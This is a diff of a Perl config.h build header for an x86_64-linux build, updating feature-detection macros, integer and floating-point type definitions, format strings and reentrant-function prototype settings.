+#define	I_XLOCALE               /**/
+
+/* HAS_NEXTAFTER:
+ *	This symbol, if defined, indicates that the nextafter routine is
+ *	available to return the next machine representable double from
+ *	x in direction y.
+ */
+#define HAS_NEXTAFTER		/**/
+
+/* HAS_NEXTTOWARD:
+ *	This symbol, if defined, indicates that the nexttoward routine is
+ *	available to return the next machine representable long double from
+ *	x in direction y.
+ */
+#define HAS_NEXTTOWARD		/**/
+
 /* HAS_NL_LANGINFO:
  *	This symbol, if defined, indicates that the nl_langinfo routine is
  *	available to return local data.  You will also need <langinfo.h>
@@ -3538,9 +3124,17 @@
  */
 /*#define	HAS_OFF64_T    		/ **/
 
+/* HAS_PIPE2:
+ *	This symbol, if defined, indicates that the pipe2
+ *	system call is available to create inter-process pipes.
+ */
+#define HAS_PIPE2		/**/
+
 /* HAS_PRCTL:
  *	This symbol, if defined, indicates that the prctl routine is
  *	available to set process title.
+ *	Note that there are at least two prctl variants: Linux and Irix.
+ *	While they are somewhat similar, they are incompatible.
  */
 /* HAS_PRCTL_SET_NAME:
  *	This symbol, if defined, indicates that the prctl routine is
@@ -3570,6 +3164,11 @@
  */
 #define HAS_PTHREAD_ATTR_SETSCOPE		/**/
 
+/* HAS_PTRDIFF_T:
+ *	This symbol will be defined if the C compiler supports ptrdiff_t.
+ */
+#define	HAS_PTRDIFF_T    		/**/
+
 /* HAS_READV:
  *	This symbol, if defined, indicates that the readv routine is
  *	available to do gather reads.  You will also need <sys/uio.h>
@@ -3583,6 +3182,31 @@
  */
 #define HAS_RECVMSG		/**/
 
+/* HAS_REMAINDER:
+ *	This symbol, if defined, indicates that the remainder routine is
+ *	available to return the floating-point remainder.
+ */
+#define HAS_REMAINDER		/**/
+
+/* HAS_REMQUO:
+ *	This symbol, if defined, indicates that the remquo routine is
+ *	available to return the remainder and part of quotient.
+ */
+#define HAS_REMQUO		/**/
+
+/* HAS_RINT:
+ *	This symbol, if defined, indicates that the rint routine is
+ *	available to return the nearest integral value to x as double
+ *	using the current rounding mode.
+ */
+#define HAS_RINT		/**/
+
+/* HAS_ROUND:
+ *	This symbol, if defined, indicates that the round routine is
+ *	available to round to nearest integer, away from zero.
+ */
+#define HAS_ROUND		/**/
+
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -3592,6 +3216,13 @@
  */
 #define	HAS_SBRK_PROTO	/**/
 
+/* HAS_SCALBN:
+ *	This symbol, if defined, indicates that the scalbn routine is
+ *	available to multiply floating-point number by integral power
+ *	of radix.
+ */
+#define HAS_SCALBN		/**/
+
 /* HAS_SCALBNL:
  *	This symbol, if defined, indicates that the scalbnl routine is
  *	available.  If ilogbl is also present we can emulate frexpl.
@@ -3672,14 +3303,6 @@
  */
 /*#define HAS_SOCKS5_INIT		/ **/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-#define SPRINTF_RETURNS_STRLEN	/**/
-
 /* HAS_SQRTL:
  *	This symbol, if defined, indicates that the sqrtl routine is
  *	available to do long double square roots.
@@ -3711,7 +3334,7 @@
  *	have statfs() and struct statfs, they have ustat() and getmnt()
  *	with struct ustat and struct fs_data.
  */
-/*#define HAS_STRUCT_STATFS_F_FLAGS		/ **/
+#define HAS_STRUCT_STATFS_F_FLAGS		/**/
 
 /* HAS_STRUCT_STATFS:
  *	This symbol, if defined, indicates that the struct statfs
@@ -3725,6 +3348,13 @@
  */
 #define HAS_FSTATVFS		/**/
 
+/* HAS_STRERROR_L:
+ *	This symbol, if defined, indicates that the strerror_l routine is
+ *	available to return the error message for a given errno value in
+ *	a particular locale (identified by a locale_t object).
+ */
+#define HAS_STRERROR_L		/**/
+
 /* HAS_STRFTIME:
  *	This symbol, if defined, indicates that the strftime routine is
  *	available to do time formatting.
@@ -3743,6 +3373,12 @@
  */
 /*#define HAS_STRLCPY		/ **/
 
+/* HAS_STRNLEN:
+ *	This symbol, if defined, indicates that the strnlen () routine is
+ *	available to check the length of a string up to a maximum.
+ */
+#define HAS_STRNLEN		/**/
+
 /* HAS_STRTOLD:
  *	This symbol, if defined, indicates that the strtold routine is
  *	available to convert strings to long doubles.
@@ -3790,6 +3426,12 @@
  */
 #define	HAS_TELLDIR_PROTO	/**/
 
+/* HAS_TGAMMA:
+ *	This symbol, if defined, indicates that the tgamma routine is
+ *	available to do the gamma function. See also HAS_LGAMMA.
+ */
+#define HAS_TGAMMA		/**/
+
 /* HAS_CTIME64:
  *	This symbol, if defined, indicates that the ctime64 () routine is
  *	available to do the 64bit variant of ctime ()
@@ -3827,6 +3469,18 @@
  */
 #define HAS_TIMEGM		/**/
 
+/* HAS_TRUNC:
+ *	This symbol, if defined, indicates that the trunc routine is
+ *	available to round doubles towards zero.
+ */
+#define HAS_TRUNC		/**/
+
+/* HAS_TRUNCL:
+ *	This symbol, if defined, indicates that the truncl routine is
+ *	available. If copysignl is also present we can emulate modfl.
+ */
+#define HAS_TRUNCL		/**/
+
 /* U32_ALIGNMENT_REQUIRED:
  *	This symbol, if defined, indicates that you must access
  *	character data through U32-aligned pointers.
@@ -3868,6 +3522,18 @@
  */
 #define HAS_USTAT		/**/
 
+/* HAS_WCSCMP:
+ *	This symbol, if defined, indicates that the wcscmp routine is
+ *	available to compare two wide character strings.
+ */
+#define HAS_WCSCMP	/**/
+
+/* HAS_WCSXFRM:
+ *	This symbol, if defined, indicates that the wcsxfrm routine is
+ *	available to tranform a wide character string for wcscmp().
+ */
+#define HAS_WCSXFRM	/**/
+
 /* HAS_WRITEV:
  *	This symbol, if defined, indicates that the writev routine is
  *	available to do scatter writes.
@@ -3874,6 +3540,12 @@
  */
 #define HAS_WRITEV		/**/
 
+/* DEFAULT_INC_EXCLUDES_DOT:
+ *	This symbol, if defined, removes the legacy default behavior of
+ *	including '.' at the end of @INC.
+ */
+#define DEFAULT_INC_EXCLUDES_DOT	/**/
+
 /* USE_DYNAMIC_LOADING:
  *	This symbol, if defined, indicates that dynamic loading of
  *	some sort is available.
@@ -3881,8 +3553,10 @@
 #define USE_DYNAMIC_LOADING		/**/
 
 /* FFLUSH_NULL:
- *	This symbol, if defined, tells that fflush(NULL) does flush
- *	all pending stdio output.
+ *	This symbol, if defined, tells that fflush(NULL) correctly
+ *	flushes all pending stdio output without side effects. In
+ *	particular, on some platforms calling fflush(NULL) *still*
+ *	corrupts STDIN if it is a pipe.
  */
 /* FFLUSH_ALL:
  *	This symbol, if defined, tells that to flush
@@ -3894,11 +3568,11 @@
 #define	FFLUSH_NULL 		/**/
 /*#define	FFLUSH_ALL 		/ **/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates that <assert.h> exists and
- *	could be included by the C program to get the assert() macro.
+/* I_BFD:
+ *	This symbol, if defined, indicates that <bfd.h> exists and
+ *	can be included.
  */
-#define	I_ASSERT		/**/
+/*#define	I_BFD		/ **/
 
 /* I_CRYPT:
  *	This symbol, if defined, indicates that <crypt.h> exists and
@@ -3932,10 +3606,16 @@
  */
 #define DB_Hash_t	u_int32_t		/**/
 #define DB_Prefix_t	size_t  	/**/
-#define DB_VERSION_MAJOR_CFG	4  	/**/
-#define DB_VERSION_MINOR_CFG	5  	/**/
-#define DB_VERSION_PATCH_CFG	20  	/**/
+#define DB_VERSION_MAJOR_CFG	5  	/**/
+#define DB_VERSION_MINOR_CFG	1  	/**/
+#define DB_VERSION_PATCH_CFG	29  	/**/
 
+/* I_FENV:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <fenv.h> to get the floating point environment definitions.
+ */
+#define I_FENV		/**/
+
 /* I_FP:
  *	This symbol, if defined, indicates that <fp.h> exists and
  *	should be included.
@@ -4002,6 +3682,12 @@
  */
 /*#define	I_PROT		/ **/
 
+/* I_QUADMATH:
+ *	This symbol, if defined, indicates that <quadmath.h> exists and
+ *	should be included.
+ */
+#define	I_QUADMATH		/**/
+
 /* I_SHADOW:
  *	This symbol, if defined, indicates that <shadow.h> exists and
  *	should be included.
@@ -4014,6 +3700,18 @@
  */
 /*#define	I_SOCKS		/ **/
 
+/* I_STDBOOL:
+ *	This symbol, if defined, indicates that <stdbool.h> exists and
+ *	can be included.
+ */
+#define	I_STDBOOL		/**/
+
+/* I_STDINT:
+ *	This symbol, if defined, indicates that <stdint.h> exists and
+ *	should be included.
+ */
+#define I_STDINT		/**/
+
 /* I_SUNMATH:
  *	This symbol, if defined, indicates that <sunmath.h> exists and
  *	should be included.
@@ -4067,6 +3765,33 @@
  */
 #define	I_USTAT		/**/
 
+/* I_WCHAR:
+ *     This symbol, if defined, indicates to the C program that <wchar.h>
+ *     is available for inclusion
+ */
+#define   I_WCHAR	/**/
+
+/* DOUBLEINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the double precision infinity.
+ */
+/* DOUBLENANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the double precision not-a-number.
+ */
+/* LONGDBLINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the long double precision infinity.
+ */
+/* LONGDBLNANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the long double precision not-a-number.
+ */
+#define DOUBLEINFBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
+#define DOUBLENANBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff		/**/
+#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00		/**/
+#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00		/**/
+
 /* PERL_PRIfldbl:
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for output.
@@ -4083,11 +3808,109 @@
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for input.
  */
+/* DOUBLEKIND:
+ *	DOUBLEKIND will be one of
+ *	DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE
+ *	DOUBLE_IS_VAX_F_FLOAT
+ *	DOUBLE_IS_VAX_D_FLOAT
+ *	DOUBLE_IS_VAX_G_FLOAT
+ *	DOUBLE_IS_IBM_SINGLE_32_BIT
+ *	DOUBLE_IS_IBM_DOUBLE_64_BIT
+ *	DOUBLE_IS_CRAY_SINGLE_64_BIT
+ *	DOUBLE_IS_UNKNOWN_FORMAT
+ */
+/* DOUBLE_HAS_INF:
+ *	This symbol, if defined, indicates that the double has
+ *	the infinity.
+ */
+/* DOUBLE_HAS_NAN:
+ *	This symbol, if defined, indicates that the double has
+ *	the not-a-number.
+ */
+/* DOUBLE_HAS_NEGATIVE_ZERO:
+ *	This symbol, if defined, indicates that the double has
+ *	the negative_zero.
+ */
+/* DOUBLE_HAS_SUBNORMALS:
+ *	This symbol, if defined, indicates that the double has
+ *	the subnormals (denormals).
+ */
+/* DOUBLE_STYLE_CRAY:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit CRAY mainframe format.
+ */
+/* DOUBLE_STYLE_IBM:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IBM mainframe format.
+ */
+/* DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IEEE 754.
+ */
+/* DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit VAX format D or G.
+ */
+#define DOUBLEKIND 3		/**/
+#define DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN	1
+#define DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN	2
+#define DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN	3
+#define DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN	4
+#define DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN	5
+#define DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN	6
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE	7
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE	8
+#define DOUBLE_IS_VAX_F_FLOAT	9
+#define DOUBLE_IS_VAX_D_FLOAT	10
+#define DOUBLE_IS_VAX_G_FLOAT	11
+#define DOUBLE_IS_IBM_SINGLE_32_BIT	12
+#define DOUBLE_IS_IBM_DOUBLE_64_BIT	13
+#define DOUBLE_IS_CRAY_SINGLE_64_BIT	14
+#define DOUBLE_IS_UNKNOWN_FORMAT		-1
 #define PERL_PRIfldbl	"Lf"	/**/
 #define PERL_PRIgldbl	"Lg"	/**/
 #define PERL_PRIeldbl	"Le"	/**/
 #define PERL_SCNfldbl	"Lf"	/**/
+#define DOUBLE_HAS_INF
+#define DOUBLE_HAS_NAN
+#define DOUBLE_HAS_NEGATIVE_ZERO
+#define DOUBLE_HAS_SUBNORMALS
+#undef DOUBLE_STYLE_CRAY
+#undef DOUBLE_STYLE_IBM
+#define DOUBLE_STYLE_IEEE
+#undef DOUBLE_STYLE_VAX
 
+/* DOUBLEMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in double precision floating point format.
+ *	Note that this is usually DBL_MANT_DIG minus one, since
+ *	with the standard IEEE 754 formats DBL_MANT_DIG includes
+ *	the implicit bit, which doesn't really exist.
+ */
+/* LONGDBLMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in long double precision floating point format.
+ *	Note that this can be LDBL_MANT_DIG minus one,
+ *	since LDBL_MANT_DIG can include the IEEE 754 implicit bit.
+ *	The common x86-style 80-bit long double does not have
+ *	an implicit bit.
+ */
+/* NVMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	(not including implicit bit) there are in a Perl NV.
+ *	This depends on which floating point type was chosen.
+ */
+#define DOUBLEMANTBITS  52
+#define LONGDBLMANTBITS 64
+#define NVMANTBITS      52
+
 /* NEED_VA_COPY:
  *	This symbol, if defined, indicates that the system stores
  *	the variable argument list datatype, va_list, in a format
@@ -4097,7 +3920,7 @@
  *	of copying mechanisms, handy.h defines a platform-
  *	independent macro, Perl_va_copy(src, dst), to do the job.
  */
-/*#define	NEED_VA_COPY		/ **/
+#define	NEED_VA_COPY		/**/
 
 /* IVTYPE:
  *	This symbol defines the C type used for Perl's IV.
@@ -4164,6 +3987,11 @@
  */
 /* NVSIZE:
  *	This symbol contains the sizeof(NV).
+ *	Note that some floating point formats have unused bytes.
+ *	The most notable example is the x86* 80-bit extended precision
+ *	which comes in byte sizes of 12 and 16 (for 32 and 64 bit
+ *	platforms, respectively), but which only uses 10 bytes.
+ *	Perl compiled with -Duselongdouble on x86* is like this.
  */
 /* NV_PRESERVES_UV:
  *	This symbol, if defined, indicates that a variable of type NVTYPE
@@ -4183,19 +4011,19 @@
  *	This symbol, if defined, indicates that a variable of type NVTYPE
  *	stores 0.0 in memory as all bits zero.
  */
-#define	IVTYPE		long long		/**/
-#define	UVTYPE		unsigned long long		/**/
+#define	IVTYPE		long		/**/
+#define	UVTYPE		unsigned long		/**/
 #define	I8TYPE		signed char		/**/
 #define	U8TYPE		unsigned char		/**/
 #define	I16TYPE		short	/**/
 #define	U16TYPE		unsigned short	/**/
-#define	I32TYPE		long	/**/
-#define	U32TYPE		unsigned long	/**/
+#define	I32TYPE		int	/**/
+#define	U32TYPE		unsigned int	/**/
 #ifdef HAS_QUAD
-#define	I64TYPE		long long	/**/
-#define	U64TYPE		unsigned long long	/**/
+#define	I64TYPE		long	/**/
+#define	U64TYPE		unsigned long	/**/
 #endif
-#define	NVTYPE		long double		/**/
+#define	NVTYPE		double		/**/
 #define	IVSIZE		8		/**/
 #define	UVSIZE		8		/**/
 #define	I8SIZE		1		/**/
@@ -4208,10 +4036,10 @@
 #define	I64SIZE		8	/**/
 #define	U64SIZE		8	/**/
 #endif
-#define	NVSIZE		12		/**/
-#define	NV_PRESERVES_UV
-#define	NV_PRESERVES_UV_BITS	64
-#define	NV_OVERFLOWS_INTEGERS_AT	256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0
+#define	NVSIZE		8		/**/
+#undef	NV_PRESERVES_UV
+#define	NV_PRESERVES_UV_BITS	53
+#define	NV_OVERFLOWS_INTEGERS_AT	(256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0)
 #define	NV_ZERO_IS_ALLBITS_ZERO
 #if UVSIZE == 8
 #   ifdef BYTEORDER
@@ -4259,14 +4087,14 @@
  *	This symbol defines the format string used for printing a Perl NV
  *	using %g-ish floating point format.
  */
-#define	IVdf		"Ld"		/**/
-#define	UVuf		"Lu"		/**/
-#define	UVof		"Lo"		/**/
-#define	UVxf		"Lx"		/**/
-#define	UVXf		"LX"		/**/
-#define	NVef		"Le"		/**/
-#define	NVff		"Lf"		/**/
-#define	NVgf		"Lg"		/**/
+#define	IVdf		"ld"		/**/
+#define	UVuf		"lu"		/**/
+#define	UVof		"lo"		/**/
+#define	UVxf		"lx"		/**/
+#define	UVXf		"lX"		/**/
+#define	NVef		"e"		/**/
+#define	NVff		"f"		/**/
+#define	NVgf		"g"		/**/
 
 /* SELECT_MIN_BITS:
  *	This symbol holds the minimum number of bits operated by select.
@@ -4275,14 +4103,24 @@
  *	is either n or 32*ceil(n/32), especially many little-endians do
  *	the latter.  This is only useful if you have select(), naturally.
  */
-#define SELECT_MIN_BITS 	32	/**/
+#define SELECT_MIN_BITS 	64	/**/
 
+/* ST_INO_SIZE:
+ *	This variable contains the size of struct stat's st_ino in bytes.
+ */
+/* ST_INO_SIGN:
+ *	This symbol holds the signedness of struct stat's st_ino.
+ *	1 for unsigned, -1 for signed.
+ */
+#define ST_INO_SIGN 1	/* st_ino sign */
+#define ST_INO_SIZE 8	/* st_ino size */
+
 /* STARTPERL:
  *	This variable contains the string to put in front of a perl
  *	script to make sure (one hopes) that it runs with perl and not
  *	some shell.
  */
-#define STARTPERL "#!/pro/bin/perl5.26.0"		/**/
+#define STARTPERL "#!/opt/perl/bin/perl5.28.0"		/**/
 
 /* HAS_STDIO_STREAM_ARRAY:
  *	This symbol, if defined, tells that there is an array
@@ -4313,10 +4151,10 @@
  *	This symbol contains the minimum value for the time_t offset that
  *	the system function localtime () accepts, and defaults to 0
  */
-#define GMTIME_MAX		2147483647	/**/
-#define GMTIME_MIN		-2147483648	/**/
-#define LOCALTIME_MAX	2147483647	/**/
-#define LOCALTIME_MIN	-2147483648	/**/
+#define GMTIME_MAX		67768036191676799	/**/
+#define GMTIME_MIN		-62167219200	/**/
+#define LOCALTIME_MAX	67768036191676799	/**/
+#define LOCALTIME_MIN	-62167219125	/**/
 
 /* USE_64_BIT_INT:
  *	This symbol, if defined, indicates that 64-bit integers should
@@ -4340,9 +4178,15 @@
 #define	USE_64_BIT_INT		/**/
 #endif
 #ifndef USE_64_BIT_ALL
-/*#define	USE_64_BIT_ALL		/ **/
+#define	USE_64_BIT_ALL		/**/
 #endif
 
+/* USE_CBACKTRACE:
+ *	This symbol, if defined, indicates that Perl should
+ *	be built with support for backtrace.
+ */
+/*#define USE_CBACKTRACE		/ **/
+
 /* USE_DTRACE:
  *	This symbol, if defined, indicates that Perl should
  *	be built with support for DTrace.
@@ -4358,6 +4202,13 @@
 /*#define	USE_FAST_STDIO		/ **/
 #endif
 
+/* USE_KERN_PROC_PATHNAME:
+ *	This symbol, if defined, indicates that we can use sysctl with
+ *	KERN_PROC_PATHNAME to get a full path for the executable, and hence
+ * 	convert $^X to an absolute path.
+ */
+/*#define USE_KERN_PROC_PATHNAME	/ **/
+
 /* USE_LARGE_FILES:
  *	This symbol, if defined, indicates that large file support
  *	should be used when available.
@@ -4371,7 +4222,7 @@
  *	be used when available.
  */
 #ifndef USE_LONG_DOUBLE
-#define	USE_LONG_DOUBLE		/**/
+/*#define	USE_LONG_DOUBLE		/ **/
 #endif
 
 /* USE_MORE_BITS:
@@ -4390,6 +4241,13 @@
 /*#define	MULTIPLICITY		/ **/
 #endif
 
+/* USE_NSGETEXECUTABLEPATH:
+ *	This symbol, if defined, indicates that we can use _NSGetExecutablePath
+ *	and realpath to get a full path for the executable, and hence convert
+ *	$^X to an absolute path.
+ */
+/*#define USE_NSGETEXECUTABLEPATH	/ **/
+
 /* USE_PERLIO:
  *	This symbol, if defined, indicates that the PerlIO abstraction should
  *	be used throughout.  If not defined, stdio should be
@@ -4399,6 +4257,14 @@
 #define	USE_PERLIO		/**/
 #endif
 
+/* USE_QUADMATH:
+ *	This symbol, if defined, indicates that the quadmath library should
+ *	be used when available.
+ */
+#ifndef USE_QUADMATH
+/*#define	USE_QUADMATH		/ **/
+#endif
+
 /* USE_SOCKS:
  *	This symbol, if defined, indicates that Perl should
  *	be built to use socks.
@@ -4471,7 +4337,7 @@
  *	This symbol holds the type used for the 1st argument to
  *	getnetbyaddr().
  */
-#define Netdb_host_t		const void * /**/
+#define Netdb_host_t		char * /**/
 #define Netdb_hlen_t		size_t /**/
 #define Netdb_name_t		const char * /**/
 #define Netdb_net_t		in_addr_t /**/
@@ -4490,6 +4356,754 @@
  */
 #define Sock_size_t		socklen_t /**/
 
+/* ARCHNAME:
+ *	This symbol holds a string representing the architecture name.
+ *	It may be used to construct an architecture-dependant pathname
+ *	where library files may be held under a private library, for
+ *	instance.
+ */
+#define ARCHNAME "x86_64-linux"		/**/
+
+/* HAS_ASCTIME_R:
+ *	This symbol, if defined, indicates that the asctime_r routine
+ *	is available to asctime re-entrantly.
+ */
+/* ASCTIME_R_PROTO:
+ *	This symbol encodes the prototype of asctime_r.
+ *	It is zero if d_asctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
+ *	is defined.
+ */
+/*#define HAS_ASCTIME_R	   / **/
+#define ASCTIME_R_PROTO 0	   /**/
+
+/* HAS_CRYPT_R:
+ *	This symbol, if defined, indicates that the crypt_r routine
+ *	is available to crypt re-entrantly.
+ */
+/* CRYPT_R_PROTO:
+ *	This symbol encodes the prototype of crypt_r.
+ *	It is zero if d_crypt_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
+ *	is defined.
+ */
+/*#define HAS_CRYPT_R	   / **/
+#define CRYPT_R_PROTO 0	   /**/
+
+/* HAS_CTERMID_R:
+ *	This symbol, if defined, indicates that the ctermid_r routine
+ *	is available to ctermid re-entrantly.
+ */
+/* CTERMID_R_PROTO:
+ *	This symbol encodes the prototype of ctermid_r.
+ *	It is zero if d_ctermid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
+ *	is defined.
+ */
+/*#define HAS_CTERMID_R	   / **/
+#define CTERMID_R_PROTO 0	   /**/
+
+/* HAS_CTIME_R:
+ *	This symbol, if defined, indicates that the ctime_r routine
+ *	is available to ctime re-entrantly.
+ */
+/* CTIME_R_PROTO:
+ *	This symbol encodes the prototype of ctime_r.
+ *	It is zero if d_ctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
+ *	is defined.
+ */
+/*#define HAS_CTIME_R	   / **/
+#define CTIME_R_PROTO 0	   /**/
+
+/* HAS_DRAND48_R:
+ *	This symbol, if defined, indicates that the drand48_r routine
+ *	is available to drand48 re-entrantly.
+ */
+/* DRAND48_R_PROTO:
+ *	This symbol encodes the prototype of drand48_r.
+ *	It is zero if d_drand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
+ *	is defined.
+ */
+/*#define HAS_DRAND48_R	   / **/
+#define DRAND48_R_PROTO 0	   /**/
+
+/* HAS_ENDGRENT_R:
+ *	This symbol, if defined, indicates that the endgrent_r routine
+ *	is available to endgrent re-entrantly.
+ */
+/* ENDGRENT_R_PROTO:
+ *	This symbol encodes the prototype of endgrent_r.
+ *	It is zero if d_endgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
+ *	is defined.
+ */
+/*#define HAS_ENDGRENT_R	   / **/
+#define ENDGRENT_R_PROTO 0	   /**/
+
+/* HAS_ENDHOSTENT_R:
+ *	This symbol, if defined, indicates that the endhostent_r routine
+ *	is available to endhostent re-entrantly.
+ */
+/* ENDHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of endhostent_r.
+ *	It is zero if d_endhostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
+ *	is defined.
+ */
+/*#define HAS_ENDHOSTENT_R	   / **/
+#define ENDHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_ENDNETENT_R:
+ *	This symbol, if defined, indicates that the endnetent_r routine
+ *	is available to endnetent re-entrantly.
+ */
+/* ENDNETENT_R_PROTO:
+ *	This symbol encodes the prototype of endnetent_r.
+ *	It is zero if d_endnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
+ *	is defined.
+ */
+/*#define HAS_ENDNETENT_R	   / **/
+#define ENDNETENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPROTOENT_R:
+ *	This symbol, if defined, indicates that the endprotoent_r routine
+ *	is available to endprotoent re-entrantly.
+ */
+/* ENDPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of endprotoent_r.
+ *	It is zero if d_endprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPROTOENT_R	   / **/
+#define ENDPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPWENT_R:
+ *	This symbol, if defined, indicates that the endpwent_r routine
+ *	is available to endpwent re-entrantly.
+ */
+/* ENDPWENT_R_PROTO:
+ *	This symbol encodes the prototype of endpwent_r.
+ *	It is zero if d_endpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPWENT_R	   / **/
+#define ENDPWENT_R_PROTO 0	   /**/
+
+/* HAS_ENDSERVENT_R:
+ *	This symbol, if defined, indicates that the endservent_r routine
+ *	is available to endservent re-entrantly.
+ */
+/* ENDSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of endservent_r.
+ *	It is zero if d_endservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
+ *	is defined.
+ */
+/*#define HAS_ENDSERVENT_R	   / **/
+#define ENDSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRENT_R:
+ *	This symbol, if defined, indicates that the getgrent_r routine
+ *	is available to getgrent re-entrantly.
+ */
+/* GETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of getgrent_r.
+ *	It is zero if d_getgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
+ *	is defined.
+ */
+/*#define HAS_GETGRENT_R	   / **/
+#define GETGRENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRGID_R:
+ *	This symbol, if defined, indicates that the getgrgid_r routine
+ *	is available to getgrgid re-entrantly.
+ */
+/* GETGRGID_R_PROTO:
+ *	This symbol encodes the prototype of getgrgid_r.
+ *	It is zero if d_getgrgid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
+ *	is defined.
+ */
+/*#define HAS_GETGRGID_R	   / **/
+#define GETGRGID_R_PROTO 0	   /**/
+
+/* HAS_GETGRNAM_R:
+ *	This symbol, if defined, indicates that the getgrnam_r routine
+ *	is available to getgrnam re-entrantly.
+ */
+/* GETGRNAM_R_PROTO:
+ *	This symbol encodes the prototype of getgrnam_r.
+ *	It is zero if d_getgrnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
+ *	is defined.
+ */
+/*#define HAS_GETGRNAM_R	   / **/
+#define GETGRNAM_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYADDR_R:
+ *	This symbol, if defined, indicates that the gethostbyaddr_r routine
+ *	is available to gethostbyaddr re-entrantly.
+ */
+/* GETHOSTBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyaddr_r.
+ *	It is zero if d_gethostbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYADDR_R	   / **/
+#define GETHOSTBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYNAME_R:
+ *	This symbol, if defined, indicates that the gethostbyname_r routine
+ *	is available to gethostbyname re-entrantly.
+ */
+/* GETHOSTBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyname_r.
